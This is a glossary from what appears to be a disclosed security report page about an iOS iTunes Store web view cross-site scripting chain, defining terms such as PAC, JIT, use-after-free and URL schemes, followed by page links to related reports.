  • Header: a labelled line of metadata sent alongside a web request or response.
  • HSTS: HTTP Strict Transport Security, a rule a site publishes saying it must only be reached over HTTPS.
  • iOS: Apple's operating system for iPhone.
  • JIT: just-in-time compilation, generating machine code while a program runs, for speed.
  • jsc: Apple's JavaScript engine, formerly present on iOS.
  • Man-in-the-middle: an attacker positioned on the network path who can read or alter traffic.
  • mmap: the system call that asks the operating system for memory.
  • MobileSafari: the Safari browser on iPhone.
  • Namespace: a named container grouping related functions or values.
  • NSURL / NSString: Apple's types for a URL and for a text string.
  • Objective-C: the programming language Apple's apps are written in.
  • OTA: over the air, meaning installed without a cable or the App Store.
  • PAC: Pointer Authentication Code, a hardware feature that signs pointers so they cannot be tampered with.
  • Property list (plist): Apple's structured settings file format, which can be written as XML.
  • Query string: the part of a URL after ?, made of name=value pairs.
  • Reflected XSS: cross-site scripting where the malicious content comes back from the request itself rather than being stored on a server.
  • Sandbox: an operating system fence that limits what an app can touch.
  • Same-origin policy: the browser rule that a page from one site cannot read data from another site.
  • Scheme: the part of a URL before ://, such as https or itms, that says how to handle it.
  • Shellcode: raw machine code an attacker wants to run on the target.
  • SoC: system-on-chip, the main processor of the phone.
  • StoreKitUIService: an iOS app that handles store-related UI and OTA enterprise app delivery.
  • SUWebView: the iTunes Store app's WebView, a subclass of UIWebView.
  • Token: a short secret string that proves identity, so a password need not be sent every time.
  • Two-factor authentication (2FA): proving identity with two things, usually a password plus a code from another device.
  • UIWebView / WKWebView: Apple's old and new embedded browser components; the old one does not isolate the page in its own process.
  • Universal Links: Apple's mechanism for opening apps from links.
  • URL scheme: a registered prefix that lets a link open a specific app.
  • Use-after-free (UAF): a memory bug where a program keeps using memory after freeing it.
  • WebContent sandbox: the sandbox that isolates web page rendering from the rest of the system.
  • WebScripting: the old bridge that exposes Objective-C methods to JavaScript inside UIWebView.
  • XSS: cross-site scripting, getting your own JavaScript to run inside a page or app the victim trusts.

More from Apple

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.